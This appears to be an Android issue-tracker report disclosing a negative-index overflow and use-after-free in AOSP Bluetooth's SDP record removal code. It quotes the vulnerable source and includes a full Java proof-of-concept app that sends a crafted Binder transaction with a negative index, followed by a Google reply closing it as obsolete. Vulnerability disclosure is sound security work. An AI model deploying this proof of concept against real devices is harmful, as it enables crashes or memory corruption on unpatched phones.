

Comments (2) Dependencies Duplicates (0) Blocking (0) Resources (1)

Obsolete

Bug

P3

+ Add Hotlist



STATUS UPDATE No update yet.

Edit



DESCRIPTION xp...@gmail.com created issue #1

1. Source Code

```
/packages/apps/Bluetooth/src/com/android/bluetooth/sdp/SdpManager.java:
653 public boolean removeSdpRecord(int recordId){
654     if(sNativeAvailable == false) {
655         throw new RuntimeException(TAG + " sNativeAvailable == false - native not initialized");
656     }
657     return sdpRemoveSdpRecordNative(recordId);
658 }

/packages/apps/Bluetooth/jni/com_android_bluetooth_sdp.cpp:
521static jboolean sdpRemoveSdpRecordNative(JNIEnv *env, jobject obj, jint record_id) {
522     ALOGD("%s:",__FUNCTION__);
523
524     int ret = 0;
525     if (!sBluetoothSdpInterface) return false;
526
527     if ( (ret = sBluetoothSdpInterface->remove_sdp_record(record_id))
528         != BT_STATUS_SUCCESS) {
529         ALOGE("SDP Remove record failed: %d", ret);
530         return false;
531     }
532
533     ALOGD("SDP Remove record success - handle: %d", record_id);
534     return true;
535}

/system/bt/btif/src/btif_sdp_server.c:
291bt_status_t remove_sdp_record(int record_id) {
292     int handle;
293
294     /* Get the Record handle, and free the slot */
295     handle = free_sdp_slot(record_id);
296     BTIF_TRACE_DEBUG("Sdp Server %s id=%d to handle=0x%08x",
297         __FUNCTION__, record_id, handle);
298
299     /* Pass the actual record handle */
300     if(handle > 0) {
301         BTA_SdpRemoveRecordByUser((void*) handle);
302         return BT_STATUS_SUCCESS;
303     }
304     BTIF_TRACE_DEBUG("Sdp Server %s - record already removed - or never created", __FUNCTION__);
305     return BT_STATUS_FAIL;
306}

214static int free_sdp_slot(int id) {
215     int handle = -1;
216     bluetooth_sdp_record* record = NULL;
217     if(id >= MAX_SDP_SLOTS) {
218         APPL_TRACE_ERROR("%s() failed - id %d is invalid", __func__, id);
219         return handle;
220     }
221     pthread_mutex_lock(&sdp_lock);
222     handle = sdp_slots[id].sdp_handle;
223     sdp_slots[id].sdp_handle = 0;
224     if(sdp_slots[id].state != SDP_RECORD_FREE)
225     {
226         /* safe a copy of the pointer, and free after unlock() */
227         record = sdp_slots[id].record_data;
228     }
229     sdp_slots[id].state = SDP_RECORD_FREE;
230     pthread_mutex_unlock(&sdp_lock);
231
232     if(record != NULL) {
233         osi_free(record);
234     } else {
235         // Record have already been freed
236         handle = -1;
237     }
```

```
238 return handle;
239}
```

2. Analysis

In free_sdp_slot(), the condition in Line 217 will pass when id < 0, which will cause an array overflow vulnerability. And in 233, a UAF vulnerability can be exploited.

3. POC

```
package com.example.xp4523.aosp;

import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        poc(this);
    }

    public static IBinder myBinder;
    public void poc(Context context) {
        Intent intent = new Intent();
        intent.setClassName("com.android.bluetooth", "com.android.bluetooth.btservice.AdapterService");
        context.bindService(intent, AUV20, Context.BIND_AUTO_CREATE);
    }
    public static ServiceConnection AUV20 = new ServiceConnection() {
        public void onServiceConnected(ComponentName name, IBinder service) {
            Log.e("xx", "connect");
            int TRANSACTION_removeSdpRecord = 35;
            myBinder = service;
            try {
                Parcel parcel = Parcel.obtain();
                Parcel reply = Parcel.obtain();
                parcel.writeInterfaceToken(myBinder.getInterfaceDescriptor());
                parcel.writeInt(-0x10000);
                myBinder.transact(TRANSACTION_removeSdpRecord, parcel, reply, 0);
                reply.recycle();
                parcel.recycle();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    };

    @Override
    public void onServiceDisconnected(ComponentName name) {
        myBinder = null;
    }
}
```

4. fingerprint

360/QK1605/QK1605:6.0.1/MMB29M/6.0.092.P2.170328.QK1605:user/release-keys
htc/hiaetuhl_01405/htc_hiaetuhl:6.0/MRA58K/660257.12:user/release-keys
SMARTISAN/surabaya/surabaya:6.0.1/MXB48T/139:user/release-keys



✓ Links (1)

"... to address the issue reported, however our product team has shifted work priority that doesn't include this issue. For now, we will be closing the issue as won't fix obsolete. If this issue currently sti

COMMENTS

sa...@google.com <sa...@google.com> [#2](#)
Status: Won't Fix (Obsolete)

Thank you for your feedback. We assure you that we are doing our best to address the issue reported, however our product team has shifted work priority that doesn't include this issue. For r